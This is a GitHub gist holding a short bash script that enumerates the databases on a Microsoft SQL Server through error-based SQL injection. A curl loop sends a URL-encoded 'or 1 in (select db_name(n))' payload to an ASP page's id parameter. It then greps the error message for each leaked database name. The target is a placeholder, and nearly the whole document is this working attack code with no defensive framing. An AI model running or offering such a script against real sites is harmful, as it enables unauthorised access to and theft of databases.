Skip to content

Instantly share code, notes, and snippets.

@0xc0da
Created October 24, 2012 19:43
Show Gist options
  • Select an option

  • Save 0xc0da/3948353 to your computer and use it in GitHub Desktop.

Select an option

Save 0xc0da/3948353 to your computer and use it in GitHub Desktop.
Bash-fu SQLi - Enumerando BDs com SQLi e curl (MSSQL)
#!/bin/bash
n=0
OUTPUT="x"
until [ -z $OUTPUT ]; do
OUTPUT=$(curl "http://[site]/index.asp?id=1%27%20%20or%201%20in%20%28select%20db_name%28$n%29%29--" 2>1 \
| grep Falha | cut -d" " -f9)
echo $OUTPUT
let "n++"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment